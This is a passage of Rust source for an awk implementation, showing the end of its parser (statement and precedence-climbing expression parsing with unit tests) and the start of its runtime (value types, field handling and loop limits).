                None\n                };\n                Ok(AwkStatement::Exit(code))\n            }\n            Token::Delete => self.parse_delete(),\n            _ => {\n                let expr = self.parse_expr()?;\n                Ok(AwkStatement::Expression(expr))\n            }\n        }\n    }\n\n    fn parse_print(&mut self) -> Result<AwkStatement, String> {\n        self.advance(); // consume 'print'\n        let mut exprs = Vec::new();\n        if self.is_print_expr_start() {\n            exprs.push(self.parse_non_assign_expr()?);\n            while matches!(self.peek(), Token::Comma) {\n                self.advance();\n                self.skip_newlines();\n                exprs.push(self.parse_non_assign_expr()?);\n            }\n        }\n        // Skip output redirection (not supported, but don't misparse)\n        if matches!(self.peek(), Token::Gt | Token::Append | Token::Pipe) {\n            self.advance();\n            // Consume the redirection target expression\n            let _ = self.parse_non_assign_expr();\n        }\n        Ok(AwkStatement::Print { exprs })\n    }\n\n    fn parse_printf(&mut self) -> Result<AwkStatement, String> {\n        self.advance(); // consume 'printf'\n        let format = self.parse_non_assign_expr()?;\n        let mut exprs = Vec::new();\n        while matches!(self.peek(), Token::Comma) {\n            self.advance();\n            self.skip_newlines();\n            exprs.push(self.parse_non_assign_expr()?);\n        }\n        Ok(AwkStatement::Printf { format, exprs })\n    }\n\n    fn parse_if(&mut self) -> Result<AwkStatement, String> {\n        self.advance(); // consume 'if'\n        self.expect(&Token::LParen)?;\n        let cond = self.parse_expr()?;\n        self.expect(&Token::RParen)?;\n        self.skip_terminators();\n        let then = self.parse_statement()?;\n        self.skip_terminators();\n        let else_ = if matches!(self.peek(), Token::Else) {\n            self.advance();\n            self.skip_terminators();\n            Some(Box::new(self.parse_statement()?))\n        } else {\n            None\n        };\n        Ok(AwkStatement::If {\n            cond,\n            then: Box::new(then),\n            else_,\n        })\n    }\n\n    fn parse_while(&mut self) -> Result<AwkStatement, String> {\n        self.advance(); // consume 'while'\n        self.expect(&Token::LParen)?;\n        let cond = self.parse_expr()?;\n        self.expect(&Token::RParen)?;\n        self.skip_terminators();\n        let body = self.parse_statement()?;\n        Ok(AwkStatement::While {\n            cond,\n            body: Box::new(body),\n        })\n    }\n\n    fn parse_do_while(&mut self) -> Result<AwkStatement, String> {\n        self.advance(); // consume 'do'\n        self.skip_terminators();\n        let body = self.parse_statement()?;\n        self.skip_terminators();\n        if !matches!(self.peek(), Token::While) {\n            return Err(\"expected 'while' after 'do' body\".to_string());\n        }\n        self.advance();\n        self.expect(&Token::LParen)?;\n        let cond = self.parse_expr()?;\n        self.expect(&Token::RParen)?;\n        Ok(AwkStatement::DoWhile {\n            body: Box::new(body),\n            cond,\n        })\n    }\n\n    fn parse_for(&mut self) -> Result<AwkStatement, String> {\n        self.advance(); // consume 'for'\n        self.expect(&Token::LParen)?;\n\n        // Check for for-in: for (var in array)\n        if let Token::Ident(name) = self.peek().clone() {\n            let saved = self.pos;\n            self.advance();\n            if matches!(self.peek(), Token::In) {\n                self.advance();\n                if let Token::Ident(array) = self.advance() {\n                    self.expect(&Token::RParen)?;\n                    self.skip_terminators();\n                    let body = self.parse_statement()?;\n                    return Ok(AwkStatement::ForIn {\n                        var: name,\n                        array,\n                        body: Box::new(body),\n                    });\n                } else {\n                    return Err(\"expected array name in for-in\".to_string());\n                }\n            }\n            // Not a for-in, backtrack\n            self.pos = saved;\n        }\n\n        // C-style for\n        let init = if matches!(self.peek(), Token::Semicolon) {\n            None\n        } else {\n            Some(Box::new(self.parse_statement()?))\n        };\n        self.expect(&Token::Semicolon)?;\n\n        let cond = if matches!(self.peek(), Token::Semicolon) {\n            None\n        } else {\n            Some(self.parse_expr()?)\n        };\n        self.expect(&Token::Semicolon)?;\n\n        let step = if matches!(self.peek(), Token::RParen) {\n            None\n        } else {\n            Some(Box::new(self.parse_statement()?))\n        };\n        self.expect(&Token::RParen)?;\n        self.skip_terminators();\n        let body = self.parse_statement()?;\n        Ok(AwkStatement::For {\n            init,\n            cond,\n            step,\n            body: Box::new(body),\n        })\n    }\n\n    fn parse_delete(&mut self) -> Result<AwkStatement, String> {\n        self.advance(); // consume 'delete'\n        if let Token::Ident(name) = self.advance() {\n            if matches!(self.peek(), Token::LBracket) {\n                self.advance();\n                let mut indices = Vec::new();\n                indices.push(self.parse_expr()?);\n                while matches!(self.peek(), Token::Comma) {\n                    self.advance();\n                    indices.push(self.parse_expr()?);\n                }\n                self.expect(&Token::RBracket)?;\n                Ok(AwkStatement::Delete {\n                    array: name,\n                    indices: Some(indices),\n                })\n            } else {\n                Ok(AwkStatement::Delete {\n                    array: name,\n                    indices: None,\n                })\n            }\n        } else {\n            Err(\"expected array name after 'delete'\".to_string())\n        }\n    }\n\n    // ── Expression parsing (precedence climbing) ─────────────────────\n\n    fn is_expr_start(&self) -> bool {\n        matches!(\n            self.peek(),\n            Token::Number(_)\n                | Token::StringLit(_)\n                | Token::Regex(_)\n                | Token::Ident(_)\n                | Token::Dollar\n                | Token::LParen\n                | Token::Not\n                | Token::Minus\n                | Token::Plus\n                | Token::Increment\n                | Token::Decrement\n        )\n    }\n\n    fn is_print_expr_start(&self) -> bool {\n        // print arguments can be followed by > or >> or | for redirection\n        // but cannot start with those. Check if current token starts an expression.\n        self.is_expr_start()\n    }\n\n    /// Parse a full expression (including assignments).\n    pub fn parse_expr(&mut self) -> Result<Expr, String> {\n        self.parse_assign()\n    }\n\n    /// Parse without assignment — used for print arguments to avoid\n    /// `print x = 5` being parsed as `print (x = 5)`.\n    fn parse_non_assign_expr(&mut self) -> Result<Expr, String> {\n        self.parse_ternary()\n    }\n\n    fn parse_assign(&mut self) -> Result<Expr, String> {\n        let expr = self.parse_ternary()?;\n        match self.peek() {\n            Token::Assign\n            | Token::PlusAssign\n            | Token::MinusAssign\n            | Token::StarAssign\n            | Token::SlashAssign\n            | Token::PercentAssign\n            | Token::CaretAssign => {\n                let op = match self.advance() {\n                    Token::Assign => AssignOp::Assign,\n                    Token::PlusAssign => AssignOp::AddAssign,\n                    Token::MinusAssign => AssignOp::SubAssign,\n                    Token::StarAssign => AssignOp::MulAssign,\n                    Token::SlashAssign => AssignOp::DivAssign,\n                    Token::PercentAssign => AssignOp::ModAssign,\n                    Token::CaretAssign => AssignOp::PowAssign,\n                    _ => unreachable!(),\n                };\n                let value = self.parse_assign()?; // right-associative\n                Ok(Expr::Assign {\n                    target: Box::new(expr),\n                    op,\n                    value: Box::new(value),\n                })\n            }\n            _ => Ok(expr),\n        }\n    }\n\n    fn parse_ternary(&mut self) -> Result<Expr, String> {\n        let expr = self.parse_or()?;\n        if matches!(self.peek(), Token::Question) {\n            self.advance();\n            let then = self.parse_assign()?;\n            self.expect(&Token::Colon)?;\n            let else_ = self.parse_assign()?;\n            Ok(Expr::Ternary {\n                cond: Box::new(expr),\n                then: Box::new(then),\n                else_: Box::new(else_),\n            })\n        } else {\n            Ok(expr)\n        }\n    }\n\n    fn parse_or(&mut self) -> Result<Expr, String> {\n        let mut left = self.parse_and()?;\n        while matches!(self.peek(), Token::Or) {\n            self.advance();\n            self.skip_newlines();\n            let right = self.parse_and()?;\n            left = Expr::BinaryOp {\n                op: BinOp::Or,\n                left: Box::new(left),\n                right: Box::new(right),\n            };\n        }\n        Ok(left)\n    }\n\n    fn parse_and(&mut self) -> Result<Expr, String> {\n        let mut left = self.parse_in_expr()?;\n        while matches!(self.peek(), Token::And) {\n            self.advance();\n            self.skip_newlines();\n            let right = self.parse_in_expr()?;\n            left = Expr::BinaryOp {\n                op: BinOp::And,\n                left: Box::new(left),\n                right: Box::new(right),\n            };\n        }\n        Ok(left)\n    }\n\n    fn parse_in_expr(&mut self) -> Result<Expr, String> {\n        let left = self.parse_match()?;\n        if matches!(self.peek(), Token::In) {\n            self.advance();\n            if let Token::Ident(array) = self.advance() {\n                return Ok(Expr::InArray {\n                    index: Box::new(left),\n                    array,\n                });\n            } else {\n                return Err(\"expected array name after 'in'\".to_string());\n            }\n        }\n        Ok(left)\n    }\n\n    fn parse_match(&mut self) -> Result<Expr, String> {\n        let left = self.parse_comparison()?;\n        match self.peek() {\n            Token::Match => {\n                self.advance();\n                let right = self.parse_comparison()?;\n                Ok(Expr::Match {\n                    expr: Box::new(left),\n                    regex: Box::new(right),\n                    negated: false,\n                })\n            }\n            Token::NotMatch => {\n                self.advance();\n                let right = self.parse_comparison()?;\n                Ok(Expr::Match {\n                    expr: Box::new(left),\n                    regex: Box::new(right),\n                    negated: true,\n                })\n            }\n            _ => Ok(left),\n        }\n    }\n\n    fn parse_comparison(&mut self) -> Result<Expr, String> {\n        let mut left = self.parse_concatenation()?;\n        while matches!(\n            self.peek(),\n            Token::Lt | Token::Le | Token::Gt | Token::Ge | Token::Eq | Token::Ne\n        ) {\n            let op = match self.advance() {\n                Token::Lt => BinOp::Lt,\n                Token::Le => BinOp::Le,\n                Token::Gt => BinOp::Gt,\n                Token::Ge => BinOp::Ge,\n                Token::Eq => BinOp::Eq,\n                Token::Ne => BinOp::Ne,\n                _ => unreachable!(),\n            };\n            self.skip_newlines();\n            let right = self.parse_concatenation()?;\n            left = Expr::BinaryOp {\n                op,\n                left: Box::new(left),\n                right: Box::new(right),\n            };\n        }\n        Ok(left)\n    }\n\n    fn parse_concatenation(&mut self) -> Result<Expr, String> {\n        let mut left = self.parse_addition()?;\n        // Implicit concatenation: two adjacent expressions with no operator\n        while self.is_concat_start() {\n            let right = self.parse_addition()?;\n            left = Expr::Concat {\n                left: Box::new(left),\n                right: Box::new(right),\n            };\n        }\n        Ok(left)\n    }\n\n    fn is_concat_start(&self) -> bool {\n        // Implicit concatenation happens when the next token starts a value\n        // but is NOT an operator or terminator\n        matches!(\n            self.peek(),\n            Token::Number(_)\n                | Token::StringLit(_)\n                | Token::Ident(_)\n                | Token::Dollar\n                | Token::LParen\n                | Token::Not\n                | Token::Increment\n                | Token::Decrement\n        )\n    }\n\n    fn parse_addition(&mut self) -> Result<Expr, String> {\n        let mut left = self.parse_multiplication()?;\n        while matches!(self.peek(), Token::Plus | Token::Minus) {\n            let op = if matches!(self.advance(), Token::Plus) {\n                BinOp::Add\n            } else {\n                BinOp::Sub\n            };\n            self.skip_newlines();\n            let right = self.parse_multiplication()?;\n            left = Expr::BinaryOp {\n                op,\n                left: Box::new(left),\n                right: Box::new(right),\n            };\n        }\n        Ok(left)\n    }\n\n    fn parse_multiplication(&mut self) -> Result<Expr, String> {\n        let mut left = self.parse_power()?;\n        while matches!(self.peek(), Token::Star | Token::Slash | Token::Percent) {\n            let op = match self.advance() {\n                Token::Star => BinOp::Mul,\n                Token::Slash => BinOp::Div,\n                Token::Percent => BinOp::Mod,\n                _ => unreachable!(),\n            };\n            self.skip_newlines();\n            let right = self.parse_power()?;\n            left = Expr::BinaryOp {\n                op,\n                left: Box::new(left),\n                right: Box::new(right),\n            };\n        }\n        Ok(left)\n    }\n\n    fn parse_power(&mut self) -> Result<Expr, String> {\n        let base = self.parse_unary()?;\n        if matches!(self.peek(), Token::Caret) {\n            self.advance();\n            self.skip_newlines();\n            let exp = self.parse_power()?; // right-associative\n            Ok(Expr::BinaryOp {\n                op: BinOp::Pow,\n                left: Box::new(base),\n                right: Box::new(exp),\n            })\n        } else {\n            Ok(base)\n        }\n    }\n\n    fn parse_unary(&mut self) -> Result<Expr, String> {\n        match self.peek() {\n            Token::Not => {\n                self.advance();\n                let expr = self.parse_unary()?;\n                Ok(Expr::UnaryOp {\n                    op: UnaryOp::Not,\n                    expr: Box::new(expr),\n                })\n            }\n            Token::Minus => {\n                self.advance();\n                let expr = self.parse_unary()?;\n                Ok(Expr::UnaryOp {\n                    op: UnaryOp::Neg,\n                    expr: Box::new(expr),\n                })\n            }\n            Token::Plus => {\n                self.advance();\n                let expr = self.parse_unary()?;\n                Ok(Expr::UnaryOp {\n                    op: UnaryOp::Pos,\n                    expr: Box::new(expr),\n                })\n            }\n            Token::Increment => {\n                self.advance();\n                let expr = self.parse_unary()?;\n                Ok(Expr::PreIncrement(Box::new(expr)))\n            }\n            Token::Decrement => {\n                self.advance();\n                let expr = self.parse_unary()?;\n                Ok(Expr::PreDecrement(Box::new(expr)))\n            }\n            _ => self.parse_postfix(),\n        }\n    }\n\n    fn parse_postfix(&mut self) -> Result<Expr, String> {\n        let mut expr = self.parse_primary()?;\n        loop {\n            match self.peek() {\n                Token::Increment => {\n                    self.advance();\n                    expr = Expr::PostIncrement(Box::new(expr));\n                }\n                Token::Decrement => {\n                    self.advance();\n                    expr = Expr::PostDecrement(Box::new(expr));\n                }\n                Token::LBracket => {\n                    // Array subscript\n                    if let Expr::Var(name) = expr {\n                        self.advance();\n                        let mut indices = vec![self.parse_expr()?];\n                        while matches!(self.peek(), Token::Comma) {\n                            self.advance();\n                            indices.push(self.parse_expr()?);\n                        }\n                        self.expect(&Token::RBracket)?;\n                        expr = Expr::ArrayRef { name, indices };\n                    } else {\n                        break;\n                    }\n                }\n                _ => break,\n            }\n        }\n        Ok(expr)\n    }\n\n    fn parse_primary(&mut self) -> Result<Expr, String> {\n        match self.peek().clone() {\n            Token::Number(n) => {\n                self.advance();\n                Ok(Expr::Number(n))\n            }\n            Token::StringLit(s) => {\n                self.advance();\n                Ok(Expr::String(s))\n            }\n            Token::Regex(r) => {\n                self.advance();\n                Ok(Expr::Regex(r))\n            }\n            Token::Dollar => {\n                self.advance();\n                let expr = self.parse_primary()?;\n                Ok(Expr::FieldRef(Box::new(expr)))\n            }\n            Token::LParen => {\n                self.advance();\n                // Check for (expr) in array — parenthesized in-expression\n                let expr = self.parse_expr()?;\n                self.expect(&Token::RParen)?;\n                Ok(expr)\n            }\n            Token::Ident(name) => {\n                self.advance();\n                if matches!(self.peek(), Token::LParen) {\n                    // Function call\n                    self.advance();\n                    let mut args = Vec::new();\n                    if !matches!(self.peek(), Token::RParen) {\n                        args.push(self.parse_expr()?);\n                        while matches!(self.peek(), Token::Comma) {\n                            self.advance();\n                            args.push(self.parse_expr()?);\n                        }\n                    }\n                    self.expect(&Token::RParen)?;\n                    Ok(Expr::FuncCall { name, args })\n                } else if matches!(self.peek(), Token::LBracket) {\n                    self.advance();\n                    let mut indices = vec![self.parse_expr()?];\n                    while matches!(self.peek(), Token::Comma) {\n                        self.advance();\n                        indices.push(self.parse_expr()?);\n                    }\n                    self.expect(&Token::RBracket)?;\n                    Ok(Expr::ArrayRef { name, indices })\n                } else {\n                    Ok(Expr::Var(name))\n                }\n            }\n            Token::Getline => {\n                self.advance();\n                Ok(Expr::Getline)\n            }\n            _ => Err(format!(\"unexpected token in expression: {}\", self.peek())),\n        }\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::awk::lexer::Lexer;\n\n    fn parse(input: &str) -> AwkProgram {\n        let tokens = Lexer::new(input).tokenize().unwrap();\n        Parser::new(tokens).parse().unwrap()\n    }\n\n    #[test]\n    fn parse_simple_print() {\n        let prog = parse(\"{print $1}\");\n        assert_eq!(prog.rules.len(), 1);\n        assert!(prog.rules[0].pattern.is_none());\n    }\n\n    #[test]\n    fn parse_begin_end() {\n        let prog = parse(\"BEGIN{x=0} {x++} END{print x}\");\n        assert_eq!(prog.rules.len(), 3);\n        assert!(matches!(prog.rules[0].pattern, Some(AwkPattern::Begin)));\n        assert!(matches!(prog.rules[2].pattern, Some(AwkPattern::End)));\n    }\n\n    #[test]\n    fn parse_regex_pattern() {\n        let prog = parse(\"/error/ {print}\");\n        assert!(matches!(prog.rules[0].pattern, Some(AwkPattern::Regex(_))));\n    }\n\n    #[test]\n    fn parse_if_else() {\n        let prog = parse(\"{if ($1 > 10) print \\\"big\\\"; else print \\\"small\\\"}\");\n        assert_eq!(prog.rules.len(), 1);\n    }\n\n    #[test]\n    fn parse_for_in() {\n        let prog = parse(\"{for (k in arr) print k}\");\n        let stmts = prog.rules[0].action.as_ref().unwrap();\n        assert!(matches!(stmts[0], AwkStatement::ForIn { .. }));\n    }\n\n    #[test]\n    fn parse_assignment_ops() {\n        let prog = parse(\"{x += 1; y -= 2; z *= 3}\");\n        let stmts = prog.rules[0].action.as_ref().unwrap();\n        assert_eq!(stmts.len(), 3);\n    }\n\n    #[test]\n    fn parse_ternary() {\n        let prog = parse(\"{print ($1 > 0) ? \\\"pos\\\" : \\\"neg\\\"}\");\n        assert_eq!(prog.rules.len(), 1);\n    }\n\n    #[test]\n    fn parse_range_pattern() {\n        let prog = parse(\"/start/,/end/ {print}\");\n        assert!(matches!(prog.rules[0].pattern, Some(AwkPattern::Range(..))));\n    }\n}\n","/home/user/src/commands/awk/runtime.rs":"use super::parser::{\n    AssignOp, AwkPattern, AwkProgram, AwkRule, AwkStatement, BinOp, Expr, UnaryOp,\n};\nuse regex::Regex;\nuse std::collections::HashMap;\n\n// ── Control flow signals ────────────────────────────────────────────────\n\nenum Signal {\n    None,\n    Break,\n    Continue,\n    Next,\n    Exit(i32),\n}\n\n// ── Awk value type ──────────────────────────────────────────────────────\n\n#[derive(Debug, Clone)]\npub enum AwkValue {\n    Str(String),\n    Num(f64),\n    Uninitialized,\n}\n\nimpl AwkValue {\n    pub fn to_num(&self) -> f64 {\n        match self {\n            AwkValue::Num(n) => *n,\n            AwkValue::Str(s) => parse_awk_number(s),\n            AwkValue::Uninitialized => 0.0,\n        }\n    }\n\n    pub fn to_string_val(&self) -> String {\n        match self {\n            AwkValue::Str(s) => s.clone(),\n            AwkValue::Num(n) => format_number(*n),\n            AwkValue::Uninitialized => String::new(),\n        }\n    }\n\n    pub fn is_true(&self) -> bool {\n        match self {\n            AwkValue::Num(n) => *n != 0.0,\n            AwkValue::Str(s) => !s.is_empty(),\n            AwkValue::Uninitialized => false,\n        }\n    }\n}\n\nfn format_number(n: f64) -> String {\n    if n == n.trunc() && n.abs() < 1e16 && !n.is_infinite() {\n        // Integer-like: print without decimal\n        format!(\"{}\", n as i64)\n    } else if n.is_infinite() {\n        if n > 0.0 {\n            \"inf\".to_string()\n        } else {\n            \"-inf\".to_string()\n        }\n    } else if n.is_nan() {\n        \"nan\".to_string()\n    } else {\n        // Use %g-like formatting (6 significant digits)\n        format_g(n, 6)\n    }\n}\n\nfn parse_awk_number(s: &str) -> f64 {\n    let s = s.trim();\n    if s.is_empty() {\n        return 0.0;\n    }\n    // Parse leading numeric portion\n    let mut end = 0;\n    let bytes = s.as_bytes();\n    if end < bytes.len() && (bytes[end] == b'+' || bytes[end] == b'-') {\n        end += 1;\n    }\n    let mut has_digit = false;\n    while end < bytes.len() && bytes[end].is_ascii_digit() {\n        end += 1;\n        has_digit = true;\n    }\n    if end < bytes.len() && bytes[end] == b'.' {\n        end += 1;\n        while end < bytes.len() && bytes[end].is_ascii_digit() {\n            end += 1;\n            has_digit = true;\n        }\n    }\n    if has_digit && end < bytes.len() && (bytes[end] == b'e' || bytes[end] == b'E') {\n        let saved = end;\n        end += 1;\n        if end < bytes.len() && (bytes[end] == b'+' || bytes[end] == b'-') {\n            end += 1;\n        }\n        if end < bytes.len() && bytes[end].is_ascii_digit() {\n            while end < bytes.len() && bytes[end].is_ascii_digit() {\n                end += 1;\n            }\n        } else {\n            end = saved;\n        }\n    }\n    if !has_digit {\n        return 0.0;\n    }\n    s[..end].parse().unwrap_or(0.0)\n}\n\n// ── Runtime ─────────────────────────────────────────────────────────────\n\npub struct AwkRuntime {\n    // Built-in variables\n    pub variables: HashMap<String, AwkValue>,\n    // Associative arrays\n    pub arrays: HashMap<String, HashMap<String, AwkValue>>,\n    // Fields: $0, $1, $2, etc.\n    fields: Vec<String>,\n    // Output\n    pub stdout: String,\n    pub stderr: String,\n    // State\n    nr: i64,\n    fnr: i64,\n    filename: String,\n    // Regex cache\n    regex_cache: HashMap<String, Regex>,\n    // Range pattern state: track whether each range is active\n    range_active: Vec<bool>,\n    // RNG state\n    rng_state: u64,\n    // Exit code\n    exit_code: i32,\n    // Execution limits\n    max_loop_iterations: usize,\n    max_output_size: usize,\n    max_field_index: usize,\n}\n\nimpl AwkRuntime {\n    pub fn new() -> Self {\n        let mut variables = HashMap::new();\n        variables.insert(\"FS\".to_string(), AwkValue::Str(\" \".to_string()));\n        variables.insert(\"OFS\".to_string(), AwkValue::Str(\" \".to_string()));\n        variables.insert(\"RS\".to_string(), AwkValue::Str(\"\\n\".to_string()));\n        variables.insert(\"ORS\".to_string(), AwkValue::Str(\"\\n\".to_string()));\n        variables.insert(\"NR\".to_string(), AwkValue::Num(0.0));\n        variables.insert(\"NF\".to_string(), AwkValue::Num(0.0));\n        variables.insert(\"FNR\".to_string(), AwkValue::Num(0.0));\n        variables.insert(\"RSTART\".to_string(), AwkValue::Num(0.0));\n        variables.insert(\"RLENGTH\".to_string(), AwkValue::Num(-1.0));\n        variables.insert(\"SUBSEP\".to_string(), AwkValue::Str(\"\\x1c\".to_string()));\n        variables.insert(\"FILENAME\".to_string(), AwkValue::Str(String::new()));\n\n        Self {\n            variables,\n            arrays: HashMap::new(),\n            fields: vec![String::new()],\n            stdout: String::new(),\n            stderr: String::new(),\n            nr: 0,\n            fnr: 0,\n            filename: String::new(),\n            regex_cache: HashMap::new(),\n            range_active: Vec::new(),\n            rng_state: 0,\n            exit_code: 0,\n            max_loop_iterations: 10_000_000,\n            max_output_size: 10 * 1024 * 1024,\n            max_field_index: 10_000,\n        }\n    }\n\n    pub fn apply_limits(&mut self, limits: &crate::interpreter::ExecutionLimits) {\n        self.max_loop_iterations = limits.max_loop_iterations;\n        self.max_output_size = limits.max_output_size;\n    }\n\n    pub fn set_var(&mut self, name: &str, value: &str) {\n        let val = if let Ok(n) = value.parse::<f64>() {\n            if n.is_finite() {\n                AwkValue::Num(n)\n            } else {\n                AwkValue::Str(value.to_string())\n            }\n        } else {\n            AwkValue::Str(value.to_string())\n        };\n        self.variables.insert(name.to_string(), val);\n    }\n\n    pub fn set_argc_argv(&mut self, args: &[String]) {\n        self.variables\n            .insert(\"ARGC\".to_string(), AwkValue::Num(args.len() as f64));\n        let argv = self.arrays.entry(\"ARGV\".to_string()).or_default();\n        for (i, arg) in args.iter().enumerate() {\n            argv.insert(i.to_string(), AwkValue::Str(arg.clone()));\n        }\n    }\n\n    pub fn execute(\n        &mut self,\n        program: &AwkProgram,\n        inputs: &[(String, String)],\n    ) -> (i32, String, String) {\n        // Initialize range_active for all range patterns\n        self.range_active = vec![false; program.rules.len()];\n\n        // Execute BEGIN rules\n        for rule in &program.rules {\n            if matches!(rule.pattern, Some(AwkPattern::Begin))\n                && let Some(action) = &rule.action\n                && let Signal::Exit(code) = self.execute_block(action)\n            {\n                return (code, self.stdout.clone(), self.stderr.clone());\n            }\n        }\n\n        // Process each input\n        if inputs.is_empty() {\n            // No input files and no stdin content: skip to END\n        } else {\n            'outer: for (filename, content) in inputs {\n                self.fnr = 0;\n                self.filename = filename.clone();\n                self.variables\n                    .insert(\"FILENAME\".to_string(), AwkValue::Str(filename.clone()));\n\n                let rs = self.get_var(\"RS\").to_string_val();\n                let records = split_records(content, &rs);\n\n                'record: for record in &records {\n                    self.nr += 1;\n                    self.fnr += 1;\n                    self.set_record(record);\n                    self.sync_builtin_vars();\n\n                    for (rule_idx, rule) in program.rules.iter().enumerate() {\n                        if matches!(rule.pattern, Some(AwkPattern::Begin | AwkPattern::End)) {\n                            continue;\n                        }\n\n                        let matched = match self.pattern_matches(rule, rule_idx) {\n                            Ok(m) => m,\n                            Err(()) => continue,\n                        };\n                        if !matched {\n                            continue;\n                        }\n\n                        let default_action = [AwkStatement::Print { exprs: vec![] }];\n                        let action = rule.action.as_deref().unwrap_or(&default_action);\n\n                        match self.execute_block(action) {\n                            Signal::Next => continue 'record,\n                            Signal::Exit(code) => {\n                                self.exit_code = code;\n                                break 'outer;\n                            }\n                            Signal::Break | Signal::Continue => {}\n                            Signal::None => {}\n                        }\n                    }\n                }\n            }\n        }\n\n        // Execute END rules\n        for rule in &program.rules {\n            if matches!(rule.pattern, Some(AwkPattern::End))\n                && let Some(action) = &rule.action\n            {\n                self.sync_builtin_vars();\n                if let Signal::Exit(code) = self.execute_block(action) {\n                    self.exit_code = code;\n                    break;\n                }\n            }\n        }\n\n        (self.exit_code, self.stdout.clone(), self.stderr.clone())\n    }\n\n    fn pattern_matches(&mut self, rule: &AwkRule, rule_idx: usize) -> Result<bool, ()> {\n        match &rule.pattern {\n            None => Ok(true),\n            Some(AwkPattern::Begin | AwkPattern::End) => Ok(false),\n            Some(AwkPattern::Regex(r)) => {\n                let field0 = self.fields[0].clone();\n                Ok(self.regex_match(r, &field0))\n            }\n            Some(AwkPattern::Expression(expr)) => {\n                let val = self.eval_expr(expr);\n                Ok(val.is_true())\n            }\n            Some(AwkPattern::Range(start, end)) => {\n                let active = self.range_active.get(rule_idx).copied().unwrap_or(false);\n                if active {\n                    let end_val = self.eval_expr(end);\n                    if end_val.is_true()\n                        && let Some(a) = self.range_active.get_mut(rule_idx)\n                    {\n                        *a = false;\n                    }\n                    Ok(true)\n                } else {\n                    let start_val = self.eval_expr(start);\n                    if start_val.is_true() {\n                        if let Some(a) = self.range_active.get_mut(rule_idx) {\n                            *a = true;\n                        }\n                        let end_val = self.eval_expr(end);\n                        if end_val.is_true()\n                            && let Some(a) = self.range_active.get_mut(rule_idx)\n                        {\n                            *a = false;\n                        }\n                        Ok(true)\n                    } else {\n                        Ok(false)\n                    }\n                }\n            }\n        }\n    }\n\n    // ── Record & field management ────────────────────────────────────\n\n    fn set_record(&mut self, record: &str) {\n        self.fields = vec![record.to_string()];\n        let fs = self.get_var(\"FS\").to_string_val();\n        let split_fields = split_fields(record, &fs);\n        self.fields.extend(split_fields);\n        self.variables.insert(\n            \"NF\".to_string(),\n            AwkValue::Num((self.fields.len() - 1) as f64),\n        );\n    }\n\n    fn rebuild_record(&mut self) {\n        let ofs = self.get_var(\"OFS\").to_string_val();\n        let nf = self.fields.len() - 1;\n        if nf == 0 {\n            self.fields[0] = String::new();\n        } else {\n            self.fields[0] = self.fields[1..].join(&ofs);\n        }\n    }\n\n    fn sync_builtin_vars(&mut self) {\n        self.variables\n            .insert(\"NR\".to_string(), AwkValue::Num(self.nr as f64));\n        self.variables\n            .insert(\"FNR\".to_string(), AwkValue::Num(self.fnr as f64));\n    }\n\n    fn get_field(&self, idx: usize) -> String {\n        if idx < self.fields.len() {\n            self.fields[idx].clone()\n        } else {\n            String::new()\n        }\n    }\n\n    fn set_field(&mut self, idx: usize, value: &str) {\n        if idx > self.max_field_index {\n            self.stderr.push_str(&format!(\n                \"awk: field index {idx} exceeds limit {}\\n\",\n                self.max_field_index\n            ));\n            return;\n        }\n        while self.fields.len() <= idx {\n            self.fields.push(String::new());\n        }\n        self.fields[idx] = value.to_string();\n        if idx == 0 {\n            // Re-split fields from $0\n            let fs = self.get_var(\"FS\").to_string_val();\n            let split_fields = split_fields(value, &fs);\n            self.fields.truncate(1);\n            self.fields.extend(split_fields);\n        } else {\n            // Rebuild $0\n            self.rebuild_record();\n        }\n        self.variables.insert(\n            \"NF\".to_string(),\n            AwkValue::Num((self.fields.len() - 1) as f64),\n        );\n    }\n\n    // ── Variable access ──────────────────────────────────────────────\n\n    fn get_var(&self, name: &str) -> AwkValue {\n        self.variables\n            .get(name)\n            .cloned()\n            .unwrap_or(AwkValue::Uninitialized)\n    }\n\n    fn set_variable(&mut self, name: &str, value: AwkValue) {\n        self.variables.insert(name.to_string(), value);\n        // If NF is set, adjust fields count\n        if name == \"NF\" {\n            let nf = self\n                .variables\n                .get(\"NF\")\n                .map(|v| v.to_num() as usize)\n                .unwrap_or(0);\n            let current_nf = self.fields.len() - 1;\n            if nf < current_nf {\n                self.fields.truncate(nf + 1);\n            } else {\n                while self.fields.len() <= nf {\n                    self.fields.push(String::new());\n                }\n            }\n            self.rebuild_record();\n        }\n        // If FS changes, we don't re-split current record (matches awk behavior)\n    }\n\n    fn get_array_val(&mut self, name: &str, key: &str) -> AwkValue {\n        self.arrays\n            .get(name)\n            .and_then(|a| a.get(key))\n            .cloned()\n            .unwrap_or(AwkValue::Uninitialized)\n    }\n\n    fn set_array_val(&mut self, name: &str, key: &str, value: AwkValue) {\n        self.arrays\n            .entry(name.to_string())\n            .or_default()\n            .insert(key.to_string(), value);\n    }\n\n    // ── Block / statement execution ──────────────────────────────────\n\n    fn execute_block(&mut self, stmts: &[AwkStatement]) -> Signal {\n        for stmt in stmts {\n            let sig = self.execute_statement(stmt);\n            match sig {\n                Signal::None => {}\n                other => return other,\n            }\n        }\n        Signal::None\n    }\n\n    fn execute_statement(&mut self, stmt: &AwkStatement) -> Signal {\n        match stmt {\n            AwkStatement::Print { exprs } => {\n                self.exec_print(exprs);\n                Signal::None\n            }\n            AwkStatement::Printf { format, exprs } => {\n                self.exec_printf(format, exprs);\n                Signal::None\n            }\n            AwkStatement::If { cond, then, else_ } => {\n                let val = self.eval_expr(cond);\n                if val.is_true() {\n                    self.execute_statement(then)\n                } else if let Some(e) = else_ {\n                    self.execute_statement(e)\n                } else {\n                    Signal::None\n                }\n            }\n            AwkStatement::While { cond, body } => {\n                let mut iterations = 0usize;\n                loop {\n                    iterations += 1;\n                    if iterations > self.max_loop_iterations {\n                        self.stderr.push_str(\"awk: loop iteration limit exceeded\\n\");\n                        break;\n                    }\n                    let val = self.eval_expr(cond);\n                    if !val.is_true() {\n                        break;\n                    }\n                    match self.execute_statement(body) {\n                        Signal::Break => break,\n                        Signal::Continue => continue,\n                        Signal::Next => return Signal::Next,\n                        Signal::Exit(c) => return Signal::Exit(c),\n                        Signal::None => {}\n                    }\n                }\n                Signal::None\n            }\n            AwkStatement::DoWhile { body, cond } => {\n                let mut iterations = 0usize;\n                loop {\n                    iterations += 1;\n                    if iterations > self.max_loop_iterations {\n                        self.stderr.push_str(\"awk: loop iteration limit exceeded\\n\");\n                        break;\n                    }\n                    match self.execute_statement(body) {\n                        Signal::Break => break,\n                        Signal::Continue => {}\n                        Signal::Next => return Signal::Next,\n                        